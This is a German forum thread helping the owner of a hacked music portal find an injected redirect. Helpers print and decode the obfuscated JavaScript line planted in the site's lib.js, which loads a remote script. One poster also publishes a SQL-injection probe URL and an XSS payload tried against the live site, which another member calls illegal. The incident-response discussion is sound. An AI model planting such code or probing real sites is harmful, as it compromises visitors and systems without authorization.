  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\admin\sendemaillib.php (3 hits)
    Line 391:         $masked = urlencode(base64_encode($masked));
    Line 418:         $masked = urlencode(base64_encode($masked));
    Line 451:         $masked = urlencode(base64_encode($masked));
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\config\config.php (1 hit)
    Line 461: # the default should be fine. Valid options are 7bit, quoted-printable and base64
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\lt.php (1 hit)
    Line 26: $track = base64_decode($id);
  C:\Users\Maxomer\Desktop\Neuer Ordner\newsletter.DONOTUSE\ut.php (1 hit)
    Line 31: print base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAABGdBTUEAALGPC/xhBQAAAAZQTFRF////AAAAVcLTfgAAAAF0Uk5TAEDm2GYAAAABYktHRACIBR1IAAAACXBIWXMAAAsSAAALEgHS3X78AAAAB3RJTUUH0gQCEx05cqKA8gAAAApJREFUeJxjYAAAAAIAAUivpHEAAAAASUVORK5CYII=');
  C:\Users\Maxomer\Desktop\Neuer Ordner\php\beitraege\testmail.php (4 hits)
    Line 43: $Msg.="Content-Transfer-Encoding: base64\n\n";
    Line 45: $Msg.=chunk_split(base64_encode($Html))."\n\n";
    Line 57:  $Msg.="Content-Transfer-Encoding: base64\n";
    Line 64:   $FileContent=chunk_split(base64_encode($FileContent));
  C:\Users\Maxomer\Desktop\Neuer Ordner\php\smarty\smarty_libs\plugins\function.fetch.php (1 hit)
    Line 175:                         fputs($fp, "Authorization: BASIC ".base64_encode("$user:$pass")."\r\n");
 
Auch bei diesen base64-Encodings gilt, dass du prüfen musst, welche Werte die Variablen haben.

Allerdings scheint das Redirect direkt nach dem Laden von http://www.earshot.at/js/lib.js aufzutreten. Und das nur, wenn noch kein Cookie der Seite gesetzt ist. Ein Blick in die Datei offenbart dann auch in der letzten Zeile folgendes:

Code:
if(document.cookie.indexOf('logtime')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='logtime=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%64%6F%63%74%6F%72%6D%65%64%69%63%61%6C%2E%69%6E%2F%64%6F%63%74%6F%72%2E%70%68%70%22%3E%3C%2F%73%63%72%69%70%74%3E'));}

Daraus ergibt sich etwa folgendes:

Code:
<script type="text/javascript" src="http://doctormedical.in/doctor.php"></script>

Also ist das ziemlich sicher dein Redirect.
 
Wow, das ging ja schnell :)

vielen Dank schonmal.

Wie kann ich ne Java Script datei nun bearbeiten oder ist das ganze File zu löschen?
 
Die Datei kannst du, wie jede andere Text-Datei auch, einfach in einem Editor bearbeiten. Entferne die letzte Zeile und das Problem sollte sich erstmal erledigt haben.

Allerdings ist natürlich noch nicht klar, wie der Angreifer den Code einschleusen konnte. Das herauszufinden ist etwas aufwendiger und bedingt, dass du die Webserver-Log-Dateien für den Tag anschaust, an dem das Problerm das erste Mal aufgetreten ist.

Wäre ich der Webmaster dieser Seite, würde ich die Site erstmal offline nehmen und alles auf den neuesten Stand bringen sowie einen echten Webentwickler drüberschauen lassen, der mal nach möglichen Einfallstoren sucht.
 
schon erledigt!

das ist ja mein Problem, ich habe noch keinen Webentwickler gefunden, der sich dafür bereit erklärt hätte das zu machen :(
 
Nimm die Seite sofort Offline, bzw. lass die dumps verschwinden bzw. die referenz auf die Seite.
Ich sehe dort Angaben von SQL-Dumps, Globale Variablen, so wie der Code geschrieben ist, sind wahrscheinlich noch einige tolle Sachen wie register Globals etc angeschaltet.
Der Server hat zwar PHP5.5, aber wenn der Code wie du gesagt hast nicht geupdated wurde, dann gibt es keine Magic-Quots mehr, und das bedeutet potentiell SQLinjection.
Dein Webserver ist falsch konfiguriert. er gibt *.inc-Dateien einfach so aus.
Und das alles nach nur 10 min sporadisch draufschauen.

Wenn sich damit jemand länger befasst dann findet dieser jemand mit sicherheit schwerwiegende Sachen.

Und wie Bit schon sagte, lasst einen professionellen Webentwickler dran und bezahlt ihn gut, das was ich sehe lässt auf schlechten Code schließen und den auf Vordermann zu bringen ist wie Zähne ziehen.

Gruß

Fluffy
 
Dann nimm mal ein paar Euro in die Hand und suche dir einen Freelancer auf Xing, Linkedin oder ähnlichen Netzwerken, wo solche Leute vertreten sind. Dort wirst du ganz sicher fündig.

Alternativ setze die Website mit einem bekannten CMS wie z.B. Wordpress neu auf. Dann bekommst du ganz automatisch deine Updates, wenn Sicherheitslücken auftreten. Zu beachten ist dabei lediglich, dass man möglichst wenige Plugins einsetzen sollte, denn die meisten Sicherheitslücken bei Wordpress kommen aus solchen Plugins.
 
^^
Bei der Codequalität, und den Tutorials, die auf Semiprofessionelle zugeschnitten sind, ist das auch kein Wunder.
Ich hab noch keinen Senior-Entwickler kennengelernt, der gerne mit Wordpress arbeitet(Stichwort: keine best-pratice, globaler zustand, etc.pp).
Von daher nimm lieber ein richtes/vollwertiges CMS und nicht diese halbgare Sache Names Wordpress oder ein CMF(Symfony, Zend, Laravel,Yii(Wenn es denn sein muss)).
Gruß

Fluffy
 
Zuletzt bearbeitet von einem Moderator:
Wordpress hat sich in den letzten Jahren stark verbessert und viele Meinungen darüber basieren mittlerweile auf Vorurteilen. Der Wordpress-Core ist einer der stabilisten und schnellsten sowie sichersten CMS-Cores.

Davon abgesehen geht es hier nicht darum, dass ein Entwickler damit arbeiten soll, sondern dass ein Laie seine Inhalte weiterhin halbwegs sicher zur Verfügung stellen kann. Mit Frameworks selbst was zu basteln wird in der gleichen Code-Qualität enden wie die aktuelle Seite. Zend & Co stellen nunmal kein Content-Management sondern ein MVC-Framework zur Verfügung, mit dem jeder Laie (und selbst so mancher Profi) überfordert ist.

Edit:
https://vip.wordpress.com/documentation/best-practices/
 
Ok da gehen dann unsere Erfahrungen auseinander und ich lese mir das mal durch.
Und am Ende des Entwicklungsprozesses, gibt es natürlich wieder ein System mit dem der Benutzer Inhalte verwalten kann.

Wenn ich eine Privatperson wäre dann würde ich auch das nehmen was am besten zu bedienen wäre, aber wir reden hier von einem Portal, was in Auftrag gegeben wird.

Das ist etwas komplett anderes.
Da würde ich dann auch nicht auf ein MV/CM-Framework zurückgreifen wo ich noch alles zusammenstöpseln muss.
Aber wir driften ab ;) .

//edit, ich hab hier JS ausgeschaltet aber die Seite versucht mich trotzdem umzuleiten, von daher muss da noch was anderes im Argen liegen, daher nochmal: abschalten wäre eine wirklich gute Idee.
//edit2:
Wenn ich einen Pfad sehe wie /newsletter.DONOTUSE, sollte ich ihn vielleicht nicht auf den Server packen. -.-'
Wiso auch immer man den Code nicht verwendet sollte ist erstmal egal, aber die Devs werden sich dabei ggf. was gedacht haben.
 
Zuletzt bearbeitet von einem Moderator:
so ich hab gerade mal geschaut. umleiten tut die seite bei mir nicht mehr, egal wohin ich klicke. evtl ist noch irgendwo einen weiche drinne die bestimmte sachen prüft und dann erst entsprechend weiterleitet. ist natürlich für den admin noch schwerer zu finden.

schau doch mal nach wann die letzten files geändert wurden sind.
 
Sieht aus wie eine SQLi über den ID-Parameter.

Code:
http://www.earshot.at/php/dates/news.php?action=detail&id=53812%20ORDER%20BY%2011--

Außerdem hat deine Seite Probleme mit Memory-Leaks. Mein 8GB RAM + Swap war nahezu 100% ausgelastet...

Die Suche hat auch keinen guten XSS-Schutz.

Code:
<IMG SRC=# onclick='&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29'> test%';
 
Zuletzt bearbeitet:
Ich denke wir können festhalten, dass die Seite einige Sicherheitslücken hat. Ein Blackbox-Testing ist in diesem Fall weder zielführend noch legal, auch wenn hier um Hilfe gebeten wurde.
 
Danke für euren Einsatz und die Hilfe!

Dass hier ziemlich viel im Argen liegt ist mir schon länger bewusst, darum bin ich auch schon lange auf der Suche nach jemandem, der mir das Page in einem anständigen CMS neu baut. Ich habe auch kein Problem dafür Geld in die Hand zu nehmen, doch diese alte Seite überarbeiten zu lassen und Geld darin zu invesiteren, würde ich als Verschwendung sehen und darum eher es in was neues stecken.

Ich hatte auch schon ein paar, die sich dafür bereit erklärten, aber immer wieder nach Monaten unzuverälssig wurden und sich irgendwann abseilten.

Wir haben zwar kein recht großes Budget - hier passiert alles ehrenamtlich und es kommt nicht wirklich was herein (was auch nicht das ziel ist), aber wie gesagt, ich habe kein Problem etwas in die Hand zu nehmen.

Nur weiß ich echt schon nicht mehr, wo ich einen zuverlässigen Programmierer herbekomm, der das sachnell hinbekommt, aber mich auch nicht verarmen lässt ;)

Die Seite komplett offline zu nehmen, ist fast nicht möglich, weil ja dann kein weiterarbeiten für meine Leute möglich wäre und ich den Labels/Bands etc. nix zu bieten habe - das wär generell tödlich - ich hoffe ihr seht meine Zwickmühle.

Ich bin über Vorschläge von Leuten oder Portalen wo man passende Programmierer finden könnte, mehr als dankbar!

glg
Max
 
Zurück
Oben